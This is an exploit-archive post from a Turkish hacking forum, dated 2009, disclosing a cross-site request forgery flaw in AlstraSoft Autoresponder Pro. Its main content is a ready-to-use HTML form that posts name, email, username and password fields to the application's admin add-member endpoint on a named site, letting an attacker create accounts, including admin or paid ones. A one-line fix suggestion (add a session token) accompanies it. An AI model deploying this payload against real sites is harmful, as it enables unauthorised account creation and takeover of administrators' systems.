AlstraSoft Autoresponder Pro ~ XSRF Vuln. | Cyber-Warrior Information Technology's World

Root > Exploits / Vulnerabilities > AlstraSoft Autoresponder Pro ~ XSRF Vuln.

Madde
	Author : Bug Researchers/CWH1RLPOOL
	Date : 13.09.2009 20:26:45
	# AlstraSoft Autoresponder Pro ~ XSRF Vuln. [Full Screen Display]

	< ------------------- header data start ------------------- > ############################################################# # Application Name :AlstraSoft Autoresponder Pro # vulnerable Type : xsrf # Infection : Yeni Bir Admin Eklenebilinir. # Bug Fix Advice : Form’a Oturum Key’i (Session Token) eklenmeli. # author : BUG RESEARCHERS//CWH1RLPOOL #NOTE : Parali üye Ekleyebilirsiniz :) ############################################################# < ------------------- header data end of ------------------- > < -- bug code start -- > <form name=form_add_member action=http://www.blizsoft.com/responder/admin/do_add_member.php method=post onSubmit=return Validate();> <input type=text name=name size=30 maxlength=40></td> <input type=text name=email size=30 maxlength=40></td> <input type=text name=username size=30 maxlength=40></td> <input type=password name=password size=30 maxlength=40></td> <input type=password name=password_again size=30 maxlength=40></td> <input type=submit value=Add Member></td> </form> < -- bug code end of -- >